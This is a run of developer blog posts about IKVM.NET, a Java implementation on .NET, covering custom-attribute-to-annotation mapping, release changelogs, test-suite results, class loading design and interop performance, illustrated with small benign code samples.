Since .NET enums are value types and behave like integral types most of the time, they are not mapped to Java enums, but for use in annotations they have to be mapped to Java enums, so every .NET enum type has a nested type __Enum that is a Java enum. This allows enum values to be used in annotations:

import cli.System.*;

@AttributeUsageAttribute.Annotation({
  AttributeTargets.__Enum.Class,
  AttributeTargets.__Enum.Interface
})
public class MyCustomAttribute extends Attribute
{ ... }

The above example also shows that an enum that has a FlagsAttribute (as AttributeTargets does) will be translated into an array of that enum, to allow combining the flags. The exception to this is that if the parameter type is already an array, it will not be turned into a two dimensional array, because annotations only support one dimensional arrays.

ValidOn & AllowMultiple

Custom attribute annotations are annotated with the Target and Retention annotations. The target element types are based on the ValidOn property of the AttributeUsageAttribute of the custom attribute and Retention always has a RetentionPolicy.RUNTIME.

The ValidOn property of AttributeUsageAttribute is of type AttributeTargets. Here's a table that shows how the values map to the Java ElementType enum:

System.AttributeTargets java.lang.annotation.ElementType
Assembly, Class, Delegate, Enum, Interface, Struct     TYPE
Constructor CONSTRUCTOR
Method METHOD
Field FIELD
Parameter PARAMETER

Unlike custom attributes, annotations cannot be applied to a method's return value. The workaround for that is to nest them inside a special __ReturnValue annotation that is applied to the method:

public class Foo
{
  @cli.System.CLSCompliantAttribute.Annotation.__ReturnValue(
     @cli.System.CLSCompliantAttribute.Annotation(true)
  )
  public int foo() { ... }
}

Another custom attribute feature not supported by annotations is the ability to specify multiple instances of a custom attributes (controlled by the AllowMultiple property of AttributeUsageAttribute). This is handled in a similar way:

import cli.System.Security.Permissions.*;

@UIPermissionAttribute.Annotation.__Multiple({
  @UIPermissionAttribute.Annotation(value = SecurityAction.__Enum.Demand,
    Window = UIPermissionWindow.__Enum.SafeTopLevelWindows),
  @UIPermissionAttribute.Annotation(value = SecurityAction.__Enum.LinkDemand,
    Clipboard = UIPermissionClipboard.__Enum.AllClipboard)
})
public class Foo { ... }

Note that __Multiple is never nested inside a __ReturnValue, when a custom attribute has AllowMultiple and can be applied to return values, the __ReturnValue annotation simply has an array value property.

Type Literals

Type literals can be specified as class literals:

import cli.System.Runtime.CompilerServices.*;

@TypeForwardedToAttribute(Foo.class)
interface assembly {}

Note that the assembly type in the default package is treated specially by ikvm and acts as a placeholder for custom attributes that should be applied to the assembly.

Default Values

This table lists the default values for each supported type:

Type Default Value
boolean      false
byte (byte)0
char (char)0
short (short)0
int 0
float 0.0F
long 0L
double 0.0D
String ""
Class ikvm.internal.__unspecified.class
Enum __unspecified
array { }

The __unspecified hacks are necessary because annotation property values cannot be null. Every __Enum has an __unspecified field specifically for this purpose. Note that these defaults do not necessarily correspond to the real default values used by the custom attribute. These are simply the values that are reported by Method.getDefaultValue() and put into the stubs generated by ikvmstub. If you don't specify a value for an optional property, the resulting custom attribute won't have the property set and hence it will have the default value as defined by the implementation of the custom attribute.

Error Handling

Not yet implemented, but the idea is to ignore invalid annotations (most likely due to version conflicts between the stub jar that the Java code was compiled against and the assembly used at runtime). In the case of ikvmc, a warning message should be emitted as well.

5/9/2007 8:15:26 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

New Snapshot

I expect that I'll be busy the next couple of weeks working on integrating the OpenJDK libraries that were released yesterday, so I thought I'd release a new development snapshot to reflect the current state. There are quite a few bug fixes, most of them triggered by running test suites suggested by Albert Strasheim. Many thanks to him for running the test suites and passing the interesting ones on to me (including instructions on how to install/build/run them, which is usually the most time consuming and frustrating part.)

This snapshot also includes much improved support for applying .NET custom attributes as Java annotations. The next blog entry will describe the changes in detail.

Changes:

  • Integrated current GNU Classpath cvs version.
  • Fixed exception handling to continue working during AppDomain finalization for unload.
  • Implement major chunk of custom attribute as annotations support.
  • Added support for applying custom attributes to return values.
  • Added support for applying AllowMultiple custom attributes multiple times to the same element.
  • Restructured ParameterBuilder handling.
  • Added system property "ikvm.apartmentstate" to enable setting the COM ApartmentState for threads created in Java code.
  • Added hack to support Double.MIN_VALUE and Double.MAX_VALUE toString/parse roundtripping.
  • Fixed Throwable.printStackTrace() to call Throwable.printStackTrace(OutputStream) to support exception classes that only override printStackTrace(OutputStream).
  • Fixed Throwable.printStackTrace(…) to use PrintWriter/PrintStream.println() to trigger flushing on auto-flush writers/streams.
  • Fixed Throwable constructor to set cause correctly if an exception was instantiated but not thrown immediately.
  • Moved ikvmc warning handling to fix missing warnings bug (previously depending on compilation order, some warnings might not be shown).
  • Fixed verifier/compiler to support dup_x2 form 2. Found by Derby test suite.
  • Implemented JSR 133 rule that says that finalize cannot run before constructor is finished.
  • Fixed ArrayIndexOutOfBoundsException in generic metadata reflection on dynamically compiled types.
  • Fixed PlainDatagramSocketImpl to set initial SO_BROADCAST option to enabled.
  • Fixed PlainSocketImpl.getOption(SO_OOBLINE) to return Boolean instead of Integer.
  • Fixed DatagramChannelImpl to reflect connectedness on underlying DatagramSocket.
  • Fixed SocketChannelImpl.read(ByteBuffer) to handle -1 return values from implRead() for non byte array backed buffers.

Binaries available here: ikvmbin-0.35.2685.zip

5/9/2007 8:13:44 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Saturday, May 05, 2007

IKVM 0.34 Released

I released 0.34.0.2 to SourceForge (same bits as rc3).

5/5/2007 9:35:10 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, May 02, 2007

More Good Tests

Albert Strasheim mailed me the suggestion to run the Apache Commons Lang test suite (BTW, Albert was also the one who pointed me to the JRuby and MTJ test suites).

That also resulted in a number of bugs fixed/filed:

NestableErrorTestCase.testPrintStackTrace failure         Various IKVM java.lang.Throwable fixes
CharSetTest.testSerialization failure Mono reflection bug
NumberUtilsTest.testCompareDouble failure Added hack to IKVM's Double.toString() and Double.parseDouble() to support Double.MIN_VALUE and Double.MAX_VALUE
NumberUtilsTest.testIsNumber failure GNU Classpath BigDecimal bug
DateUtilsTest.testAddYears failure GNU Classpath GregorianCalendar bug

This list doesn't explain all failures, some are caused by the same issues as the ones mentioned and I think there are a few more GNU Classpath calendar/date/time etc. related bugs and a few tests are not quite "correct". For example, the ToStringBuilderTest.testReflectionHierarchyArrayList test assumes that the private member that contains the array of java.util.ArrayList is named elementData, but in GNU Classpath's implementation it is named data.

5/2/2007 8:32:19 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Groovy

Running Groovy on IKVM.

5/2/2007 6:47:19 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Sunday, April 29, 2007

IKVM 0.34 rc3

While working on NIO pipe support in the development branch, I found a few socket bugs and I decided to back port them to the 0.34 release. I've also back ported the NIO pipe support itself, since that's a low risk change.

Changes since rc2:

  • Implemented NIO pipe support.
  • Added support for socket connect with timeout.
  • Fixed Socket.bind() to set local port after binding.
  • Fixed SocketChannel.read() to return -1 if other side closed the socket.
  • Fixed ServerSocketChannel.accept() to properly set the state in the returned socket, to fix the socket from breaking if you called certain Socket methods on the SocketChannel.socket(). This was a regression introduced during the 0.33 development.

Files are available here: ikvm-0.34.0.2.zip (source + binaries) and ikvmbin-0.34.0.2.zip (binaries).

4/29/2007 11:01:44 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Wednesday, April 25, 2007

IKVM 0.34 rc2

A new release candidate that fixes a regression in String.lastIndexOf(String,int) that I introduced in rc1.

Files are available here: ikvm-0.34.0.1.zip (source + binaries) and ikvmbin-0.34.0.1.zip (binaries).

Also a clarification: As of this release there is no longer a separate “generics” build, because the 1.5 specific stuff has been merged into the GNU Classpath main release.

4/25/2007 5:52:45 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, April 23, 2007

IKVM 0.34 rc1

GNU Classpath 0.95 has been released! Here's the corresponding IKVM release candidate. I've updated the Japi status page.

Changes since previous snapshot:

  • Integrated GNU Classpath 0.95 release.
  • Fixed ByteBuffer.allocateDirect() to zero initialize the memory it allocated.
  • Fixed various String methods (indexOf, lastIndexOf, startsWith, endsWith, contains, replace) to use ordinal semantics instead of culture dependent word matching. Thanks to Louis Boydstun for tracking this bug down.
  • Fixed potential deadlock when a dying thread is interrupted.

Files are available here: ikvm-0.34.0.0.zip (source + binaries) and ikvmbin-0.34.0.0.zip (binaries).

As usual these are the strong named binaries and if no major issues are found these files will be released and placed on the SourceForge download page.

4/23/2007 5:14:08 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

JCK Certification

Dan Diephouse wrote in the comments to the previous entry:

Thats some serious comment spam thwarter - I had to look up the answer! Might I suggest Askimet? It rocks.

Yeah, sorry about that. That was mainly driven by ease of implementation. The fixed question was very easy to add in the aspx page without having to do any thinking on my part. The most amazing part is that a spammer actually managed to get through a couple of weeks ago.

Anyway, was wondering, do you think IKVM could ever become a certified java run time? (provided Sun made the JCK available under a reasonable license)

Funny you should ask, because I was thinking about blogging about this question yesterday (inspired by the Apache open letter and Mark Wielaard's and Dalibor Topic's responses).

The short answer is that it's not my goal for IKVM to be a certified Java runtime. I do not have access to the JCK, but it is my understanding that adding extra functionality is not allowed. Since IKVM runs on .NET it makes sense to expose .NET functionality (like for example delegates and P/Invoke). Remember that when Microsoft added delegates and J/Direct (which is the predecessor to P/Invoke) to its JVM they got sued by Sun for violating their license agreement.

There are also other issues that make a fully compliant version of IKVM only of theoretical interest. The floating point performance would be pretty bad, for example. Currently, the floating point support uses the native .NET floating point operations, but those are too relaxed for the JVM specification (mostly because they use too much precision). Another example: If you wanted static initializers to work according to the JVM spec (i.e. deadlock in certain scenarios), that would make them less efficient and would hinder interop with .NET code. One more: Because CharSequence is a ghost interface, when you do new CharSequence[] you really get an Object[], again it's possible to hide this from Java code, but it would make all object array access very slow.

Finally, there is one thing that I really don't know how to implement (in the current architecture). In Java it is possible for JNI code to allocate a string object and then later on call the constructor on it (or even to call the constructor twice), because .NET strings are variable size objects and require that the contents be specified at allocation time this is impossible to implement on IKVM.

4/23/2007 8:54:34 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [4]

Running Application Test Suites

Last week an anonymous person filed three bugs (1701353, 1701738 and 1701756). The first one was a URI bug that was already fixed in GNU Classpath, but the other two were more interesting because they included references to Eclipse projects that include JUnit test suites that reported some failures.

Now this is not always the case, but running the test suites for these two projects was a joy and resulted in several bugs filed/fixed:

Random MTJ test failures GNU Classpath java.util.Arrays.sort() bug
JRuby test_bignum failure GNU Classpath java.math.BigInteger.mod() bug
JRuby test_zlib failure GNU Classpath java.util.zip.GZIPInputStream constructor bug
Random JRuby test_thread_group hang        IKVM.NET thread termination deadlock bug


The reason that the MTJ tests failed in a random way was because the tests are non-deterministic. They generate random sized matrices, so the sort bug wouldn't always result in an incorrect sorting of the array indices.

Unfortunately I had to close 1701738 as Wont Fix. The JRuby test_array test intentionally causes a stack overflow and then JRuby expects to recover from that by catch StackOverflowError, but it's not possible for IKVM to reliably support catching a System.StackOverflowException and then mapping it to java.lang.StackOverflowError. The mapping exists, but if the exception is caught while there is not enough stack space for the mapping code to run, the CLR terminates the application.

The are two more JRuby tests that fail: test_io and test_pipe. These tests fail due to the fact that I haven't yet implemented NIO pipes. This is the first time ever that I've seen code "use" NIO pipes, but since it's only a test case I'm still not very motivated to implement them (but patches are welcome, as are applications that use NIO pipes).

If anyone has any other suggestions for test suites (that are easy to run like these), I'd love to hear them.

4/23/2007 7:42:14 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [5]

Wednesday, April 11, 2007

Detecting .NET 2.0 x64

In the category .NET trivia. I found a weird difference between .NET 2.0 x86 and x64. This code detects that it runs on x64 (at least the .NET 2.0 build included with Vista x64):

WeakReference r = new WeakReference(null);
try { throw new Exception(); }
catch (Exception x) { r.Target = x; }
GC.Collect();
if (r.Target != null)
  Console.WriteLine("Running on x64");

It appears that the last thrown exception is stored in a global (or rather probably thread local) variable and hence not garbage collectable until the next exception is thrown...

Update: I thought this was obvious, but since two commenters have felt the need to point out that you shouldn't use this in production, I'll say it explicitly:I was just pointing out some obscure implementation difference (arguably a bug), do not use this code in production.

4/11/2007 3:31:01 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Monday, April 09, 2007

Memory Mapped Files

What happens when you get a read error while accessing a memory mapped file? Let's try it:

RandomAccessFile raf = new RandomAccessFile("\\\\server\\share\\filename", "r");
FileChannel channel = raf.getChannel();
MappedByteBuffer map = channel.map(FileChannel.MapMode.READ_ONLY, 0, 5 * 1024 * 1024);
map.get(10 * 1024);
System.out.println("read byte at 10K -- waiting");
Thread.sleep(5000);
map.get(500 * 1024);
System.out.println("read byte at 500K");

Running this on JDK 1.6 (x64) and removing the network cable during the sleep will result in an Internal Error in the VM. Not exactly what I had hoped for.

Interestingly, on IKVM doing the same results in a cli.System.Runtime.InteropServices.SEHException being thrown.

4/9/2007 11:32:31 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

New Snapshot

The GNU Classpath 0.95 release branch has been created (0.94 was skipped), so it shouldn't be long now before I will release IKVM 0.34, but before that here's a final snapshot containing everything that will be in 0.34.

Changes:

  • Integrated current GNU Classpath cvs version.
  • .NET "generic class loaders" now return something (mildly) sensible when toString() is called on them.
  • ikvmc no longer warns about generic stubs.
  • ikvmstub now has WHIDBEY conditional code to properly determine if a class is a generic type instance (instead of the name based hack).
  • Fixed .NET generic type name mangling bug (nested generic types were double encoded).
  • Added support for loading .NET generic type stubs.
  • Fixed several .NET generic type loading bugs.
  • Fixed ikvm.runtime.Util.getInstanceTypeFromClass() to return null instead of throw an exception when it is called on a "dynamic only" class.
  • Changed ikvmstub to use java.util.zip instead of SharpZipLib.
  • Fixed index/length overflow detection in arraycopy_primitive_n methods.
  • Fixed JNI init args and thread attach string conversions.
  • Added workaround for .NET bug that caused OverflowException when compiling a class with an initialized final instance field of type char with a value > 32K.

Binaries available here: ikvmbin-0.33.2655.zip

4/9/2007 10:19:22 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Monday, March 26, 2007

New Snapshot

The GNU Classpath 0.94 release is due soon (hopefully), but in the mean time here's a new snapshot.

Changes:

  • Integrated current GNU Classpath cvs version.
  • Fixed VMStackWalker.firstNonNullClassLoader() to handle reflection scenarios (this fixes a problem with serialization where the wrong class loader would be used when deserializing a class that has a custom readObject method.)
  • Added VMFile.setReadable/setWritable/setExecutable/canExecute. Although only setWritable does anything halfway usable (all these methods behave like the JDK on Windows, so only the file's ReadOnly attribute is manipulated).
  • Changed the build process to build IKVM.Runtime.dll in two passes, the first pass is used to compile IKVM.GNU.Classpath.dll against and then in the second pass IKVM.Runtime.dll can statically reference IKVM.GNU.Classpath.dll. This removes the need to use reflection to find IKVM.GNU.Classpath.dll at runtime and thus allows multiple versions of IKVM to co-exist side by side in the same AppDomain now.
  • Added support for stubbing abstract methods that contain unsupported argument types (ByRef and Pointer)
  • Regenerated mscorlib.jar and System.jar
  • Changed RetentionPolicy on .NET custom attribute annotations to RUNTIME, so that ikvmc sees them (fixes a regression).
  • Handled signature clashes in .NET type methods.
  • Made method parameter name handling robust against invalid or incomplete local variables tables.
  • Fixed interface implementation to recurse all the way up.
  • Fixed bytecode metadata table to mark div/rem bytecodes as possibly throwing an exception (this fixes bug 1676377, thanks to Dennis Ushakov for reporting this)
  • Made WinForms/AWT thread into a Background thread, to prevent it from keeping the process alive.
  • Added -time option to ikvmc.
  • Added x64 detection to jvm.dll build script.
  • Fixed several .NET 2.0 "ReflectionOnly" bugs.
  • Implemented java.awt.Desktop peer.
  • Fixed several issues pointed out by FxCop: FileChannelImpl now calls GetLastWin32Error() immediately after the P/Invoke. Runtime.addShutdownHook() now has a LinkDemand for ControlAppDomain (because it exposes the AppDomain.ProcessExit event, which also has this LinkDemand). Ghost types now have an Equals, GetHashCode, == and != method. Comparable.__Helper now has a private constructor and is sealed. Shadow methods in remapped types (that exist to hide the base class methods from Intellisense) now copy any LinkDemands from the methods they hide.

Binaries available here: ikvmbin-0.33.2641.zip

3/26/2007 3:01:11 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Sunday, March 25, 2007

Running DOS Games

Since I'm running Vista x64, I can't run DOS apps anymore (since the AMD64 arch doesn't support VM86 when running in 64 bit mode). I can, of course, still run DOS inside the VMWare image of my old machine, but now there something much cooler JPC. An x86 PC emulator written in Java. Naturally, I had to try running it on IKVM:

Lemmings for DOS running on IKVM

The image shows Lemming for DOS running on the JPC x86 emulator running on IKVM.NET running on the x64 CLR.

Unfortunately IKVM's AWT support is not good enough for this app to work, so I had to do some pretty gross app specific hacks to make it "work" (that I obviously won't check in). It's also awfully slow (on JDK 1.6 the game is actually playable, but on IKVM definitely not.)

If any of the other GNU Classpath hackers want to try running JPC. Here's the AppletViewer class I used:

import java.awt.*;

class AppletViewer
{
  public static void main(String[] args)
  {
    Frame f = new Frame();
    f.setSize(640, 480);
    f.setLayout(new GridLayout(1, 1));
    org.jpc.j2se.JPCApplet applet = new org.jpc.j2se.JPCApplet();
    f.add(applet);
    f.show();
    applet.init();
    applet.start();
  }
}

The JPC applet jar can be downloaded here.

3/25/2007 12:41:43 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Monday, March 19, 2007

ThinkPad Z61p & Vista x64

About a month ago my new ThinkPad Z61p arrived. It came pre-installed with Windows XP, but I always do a clean install to remove all the junk that comes with a new system (although Lenovo isn't nearly as bad as some OEMs). I decided to be adventurous and install Vista Ultimate x64.

Virtual PC 2007

I copied the harddisk of my old laptop to a VHD file, so that I would be able to use Virtual PC 2007 to run my old configuration. Well that was a big mistake. Virtual PC 2007 is a useless piece of crap. First of all, it had problems with the VHD file because it was bigger than 64GB (which surfaced as "Sector not found" errors in the virtual machine) and after I resolved that by shrinking the disk to 60GB the performance was horrible (it appears they *still* haven't solved the laptop/chipset/keyboard responsiveness issue). After getting fed up with that I switched to VMWare 6.0 beta and I have been very happy with that (I've been a VMWare user since 1.0, but wanted to give Virtual PC 2007 a chance since it's free [as in beer] now.)

Performance

The fact that the harddisk was *always* busy drove me crazy (and made things often very slow), so I've disabled the Windows Search indexing service, after doing that and using a 2GB Kingston USB memory key as a ReadyBoost cache performance is acceptable. It's hard to compare with my previous XP system, because I also switched to Office 2007 and Outlook 2007 is a real pig.

Problems

The integrated WiFi doesn't work. It looks like the driver works fine (I can see all WiFi networks in the area just fine), but when Vista tries to establish a secure connection, it fails (well, it actually succeeds and then breaks the connection again after a few seconds). All of the built in diagnostics crap is totally useless (as expected). The built-in flash reader also doesn't work (the Lenovo support site doesn't have a driver, but with some Googling I was able to find one, but it was very unstable).

IKVM

I've switched my main IKVM development environment to Visual Studio 2005 (but will still support .NET 1.1) and when I do my test builds I now build in 64 bit mode. This works surprisingly well and the performance is excellent. I was a bit skeptical about the x64 CLR JIT because of my previous experiences on Windows XP x64 (the performance there basically sucked), but the Vista CLR build (which is a newer build) appears to have fixed that.

As a result of running on .NET 2.0 most of the time now, I've fixed several "ReflectionOny" bugs (when IKVM is built on .NET 2.0 it uses the ReflectionOnly assembly loading context for ikvmc and ikvmstub).

3/19/2007 8:52:40 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Saturday, March 17, 2007

More Magic

Thanks to Stuart's prodding, the next version of ikvmc will automatically add a System.IDisposable or System.Collections.IEnumerable implementation to any Java classes that implement java.io.Closeable or java.lang.Iterable (respectively).

That means that you can now do this in C#:

java.util.ArrayList list = new java.util.ArrayList();
list.add("foo");
list.add("bar");
using (java.io.FileWriter fw = new java.io.FileWriter("test.txt"))
{
  foreach (string s in list)
  {
    fw.write(s);
    fw.write("\n");
  }
}

Note that the interfaces are only added to the classes (i.e. the java.io.Closeable interface doesn't implement System.IDisposable). From Java this change is mostly invisible, e.g. when you use Java reflection you won't see System.IDisposable on java.io.FileWriter. However, when you use the instanceof operator or do a cast to cli.System.IDisposable, it will succeed. It would be possible to remove this inconsistency, but I don't think that's worth it.

Too Much Magic

Too much of anything is never a good thing, but in the case of adding magic to ikvm, it has always been very difficult to draw the line between just enough and too much. There already is a fair bit a magic in ikvm and I tend to be rather conservative in adding more. The main reason is that magic is almost never "perfect", this means that in most cases it will work as expected, but there are always edge cases where people will be surprised by how things work and that's clearly not good.

Stuart also wants Java's foreach construct to work on .NET types that implement IEnumerable, but to make that work would require turning java.lang.Iterable into a ghost interface and I currently feel that would be in the "too much magic" category, especially considering that ghost interfaces are not very good magic.

3/17/2007 3:05:07 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Friday, March 16, 2007

Microsoft dropping J# and JLCA in next version of Visual Studio

Via Lorenzo Barbieri (via Google blog search, I don't read Italian) I learned that Microsoft decided to drop support for J# and the Java Language Conversion Assistant in the next version of Visual Studio (code named Orcas).

I'm glad they finally realised the futility of competing with IKVM.NET ;-)

3/16/2007 11:36:58 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [3]

Wednesday, March 14, 2007

DST Update

I made a new binary release of 0.32 that includes the back-ported GNU Classpath TimeZone fixes for the updates to the US DST rules.

Available here: ikvmbin-0.32.0.1.zip

3/14/2007 3:51:01 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Friday, February 09, 2007

Class Loading Architecture

As I previously blogged, 0.32 has a new class loading architecture. I promised to explain the architecture, but I accidentally deleted the blog post I wrote about it a while ago and I didn't feel like rewriting it straight away, but I still need to do it, so here it is ;-)

The Basic Idea

Every .NET assembly has its own corresponding ClassLoader instance. This is true for assemblies generated with ikvmc as well as other .NET languages. The class loader instance corresponding to an assembly is known as the assembly class loader. It does not have a parent class loader (ClassLoader.getParent() returns null), but it does do a form of delegation. When the assembly class loader is used to load a class or resource, first it will search the corresponding assembly, if that doesn't result in the requested item, the assemblies directly referenced by the assembly are searched (and if that also doesn't find the item, the IKVM.GNU.Classpath assembly is searched).

The System Class Loader

By default the system class loader will be set to the assembly class loader of the main application executable assembly. If there is no main executable assembly (e.g. the main executable is unmanaged or the AppDomain was created without one) or the java.class.path or java.ext.dirs properties are set, then a URLClassLoader that searches the classpath is used. This means that in most scenarios no dynamic Java class loading is enabled by default. This also means that you don't have to worry about your application being affected by the CLASSPATH environment variable as set on the system where the application runs (which previously could -- and did -- result in hard to diagnose problems on some systems with a weird CLASSPATH setting.)

Dynamically Loading a Class

Class.forName() just works if the class loader it uses (and, like Java, it uses the class loader that loaded the calling class) can find the class. It can also be used to load classes from assemblies that are not referenced by any class loader that is already available. This is done by specifying the assembly qualified name of the type (in .NET form, without the cli prefix). Here's an example:

class MsgBox
{
  public static void main(String[] args) throws Exception
  {
    Class c = Class.forName("System.Windows.Forms.MessageBox, " +
                "System.Windows.Forms, " +
                "Version=1.0.5000.0, " +
                "Culture=neutral, " +
                "PublicKeyToken=b77a5c561934e089");
    c.getMethod("Show", String.class).invoke(null, "Hello, World!");
  }
}

Versioning

One nice benefit of the new architecture is that it is now possible for two (or more) different versions of a jar to be loaded and used in the same AppDomain. Previously that would sort of work, but it would break down if the code used Class.forName() or tried to load resources. However, now the class loader namespaces can be fully seperated (you still can't have a single assembly that directly references two versions of the same code, but indirectly it works fine.) Here's an example of an application that uses two different assemblies that both depend on different versions of the same assembly:

The rectangles represent assemblies and the ovals represent class loaders. The pink oval is the assembly class loader for App.exe and can see classes in both Foo.dll and Bar.dll, but won't be able to see any classes from either of the Widgets assemblies. The yellow oval is the assembly class loader of Foo.dll and it allows Foo.dll to see the correct version of Widgets.dll, but not the other one (nor any classes in App.exe, unless it uses the system class loader). Each Widgets.dll assembly will also have its own assembly class loader (not shown in the diagram) and that will only be able to load classes from the corresponding Widgets assembly.

JSR 277

The limitations of the Java class loading architecture have long been known and several hacks have been developed to work around some of those limitations, but it is clearly desirable (at least to some people) to replace the current architecture with something better. JSR 277 is trying to define that new architecture. I believe that the architecture that IKVM 0.32 introduced is very similar to what JSR 277 is going to end up like, so in the future it should be possible to support JSR 277 without any major changes. Also, if your Java code requires changes to be compatible with the IKVM architecture, it almost certainly will require similar changes to deal with JSR 277 and making these changes now will make it easier to migrate to JSR 277 based modules in the future.

2/9/2007 9:27:03 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [3]

Monday, February 05, 2007

New Snapshot

It's been a while since the 0.32 release and there has been a fair bit of change going on, so I thought I'd release a snapshot for people who want to play with up to date binaries.

Changes:

  • Updated to current GNU Classpath cvs version.
  • Added support for representing .NET enum types as Java enums for use in annotations (.NET enum types now have an inner class __Enum).
  • Added support for adding fields to classes in map.xml.
  • Fixed remapping infrastructure to not generate superfluous method body for interface methods.
  • Added partial support for enum types in .NET attribute annotations.
  • Added Java 1.6 methods to java.lang.String.
  • Added -warnaserror option to ikvmc (suggested by David Ehrlich).
  • Many AWT improvements (by Volker Berlin).
  • Added caching to VMStackWalker.isHideFromJava to speed up stack walking (suggested by Trevor Bell).
  • Fixed handling of non-vector arrays.
  • Made JNIEnv.FatalError more compatible with JDK and removed call to JVM.CriticalFailure (which is reserved for IKVM bugs).
  • Centralised OEM string decoding in JNI code.
  • Changed JVM.CriticalFailure to write message to console instead of displaying a message box in ikvmc.
  • Fixed AnnotationBuilder to add ImplementsAttribute to annotation attribute, so that reflection correctly reports the implemented annotation interface.
  • Fixed AnnotationBuilder to ignore annotation attribute properties of type Annotation (as .NET attributes have no way to encode them).
  • Implemented annotation support in StubGenerator (used by ikvmstub and other code that reads statically compiled classes as resources).
  • Added warning to ikvmc when skipping a class that is already in a referenced assembly.
  • Changed ikvmc -nowarn to use only the first variable string in a warning as a key.
  • Changed ikvmc to fail with a Link Error when it detects a loader constraints violation (instead of emitting code that throws a LinkageError at runtime).
  • Fixed handling of bridge methods with covariant return types in ikvmc (to allow other .NET languages to call these methods [i.e. the non-bridge counterparts]).
  • Changed ikvmc to add EditorBrowsable(Never) attribute to bridge and synthetic methods.
  • Fixed workaround for Mono bug (lack of proper token support in reflection emit api) in field reflection support.
  • Fixed system property initialization to handle case where IKVM.GNU.Classpath doesn't have a Location (e.g. when it is loaded with Assembly.Load(byte[]) (suggested by Bill Seddon).

Binaries are available here. Source is available in cvs.

2/5/2007 7:48:55 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, January 22, 2007

Events

Like previous years, I'll be attending FOSDEM this year. I'll also be at the Microsoft PDC in October.

If you're going to either of these and would like to meet for a chat, please feel free to contact me.

1/22/2007 10:18:11 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, January 15, 2007

AWT/Swing a Little Bit Less Unsupported

I don't want to raise expectations too much because there's still an incredible amount of work to be done, but thanks to great work done by Volker Berlin a lot of progress has been made on the AWT/Swing front. For example, here's a screenshot of the JDK SwingSet2 demo running on the current ikvm version from cvs:

Not everything works and some of the missing functionality will be quite difficult to implement on top of .NET 1.1 or 2.0 (it may be easier with WPF, but I really don't know). There are also a couple of GNU Classpath bugs, but overall it's quite impressive how well this demo works.

1/15/2007 8:46:29 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [4]

Wednesday, January 03, 2007

java.lang.Comparable

In the entry about object schizophrenia I used java.lang.Comparable as an example in J#, but for IKVM I did not mention it as a ghost interface. In the comments Stuart Ballard asked why Comparable isn't a ghost interface.

Unlike what Stuart claimed, this is definitely not a stupid question. He also figured out part of the answer: java.lang.Comparable maps to System.IComparable.

That's not the whole story though. The reason that I originally mapped Comparable to IComparable was that System.String conveniently implements IComparable and that IComparable.CompareTo is semantically (nearly) identical to Comparable.compareTo. Back then I hadn't yet "invented" the ghost interface idea and this seemed to solve most of the issues (the other two ghost interface candidates, Cloneable and Serializable are only used as marker interfaces, so it didn't seem like a big deal that System.String didn't implement these interfaces. java.lang.CharSequence only appeared in Java 1.4 and I vaguely knew about it, but at the time I chose not to worry about that yet.)

 A nice side effect of mapping Comparable to IComparable is that you get better interop (e.g. Java objects that implement Comparable will sort correctly when used in .NET applications and .NET objects that implement IComparable will sort correctly in Java), so that meant that when I developed ghost interfaces I didn't really want to go back and change Comparable into a ghost interface.

Finally, there is one more complication. Even though Comparable.compareTo and IComparable.CompareTo have identical semantics, there still is a problem with String. Java's String.compareTo is specified more strictly than Comparable.compareTo. The interface method is specified to simply return zero or a signed or unsigned integer, but the String version is actually specified to return the difference between the mismatching characters (or zero, if the strings match.) To handle this correctly, when you call Comparable.compareTo, you're actually calling a static method Comparable.__Helper.compareTo that first does a check to see if the object you're comparing is a String and, if so, it calls a static helper method that implements the specified Java comparision algorithm.

BTW, the reason that the static compareTo helper method lives inside a nested __Helper class is because Reflection.Emit (on .NET 1.x) incorrectly prohibits adding static methods to interfaces (which is entirely legal according to the CLI specification).

Performance Impact

The following table compares the direct methods calls with the interface method calls. Note that these basically represent a worst case estimate, because of limit amount of work the actual compareTo method does. Note also that for notational convenience I used the zero digit, but in the actual benchmark I used a local variable containing new Integer(0).

Method Call Time (ns)
"".compareTo((Object)"") 140
((Comparable)"").compareTo("") 220
0.compareTo(0) 6
((Comparable)0).compareTo(0) 35

These results are on .NET Framework 2.0 (x86). Averaged over 10,000,000 calls and includes the loop overhead.

For comparison, here are the results for JDK 1.5 HotSpot Client VM:

Method Call Time (ns)
"".compareTo((Object)"") 17
((Comparable)"").compareTo("") 21
0.compareTo(0) 7
((Comparable)0).compareTo(0) 15
1/3/2007 12:12:02 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Thursday, December 28, 2006

IKVM 0.32 Released

I released 0.32 to SourceForge (same bits as rc1).

12/28/2006 4:57:44 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Object Schizophrenia

Early on in the design of IKVM, I decided that I didn't want to use wrapper objects to bridge the Java and .NET type systems as this leads to either object identity problems (and I just found out that this is sometimes called object schizophrenia and that triggered this post) or horrible performance.

By contrast, J# does use wrapper objects in a least one case and this does indeed lead to object schizophrenia:

public class Program
{
  public static void main(String[] args)
  {
    String foo = "Foo";
    Comparable comp = foo;
    System.out.println(foo == comp);
  }
}

Compiling this Java code with Visual Studio 2005 and running it produces false, while it clearly should print true.

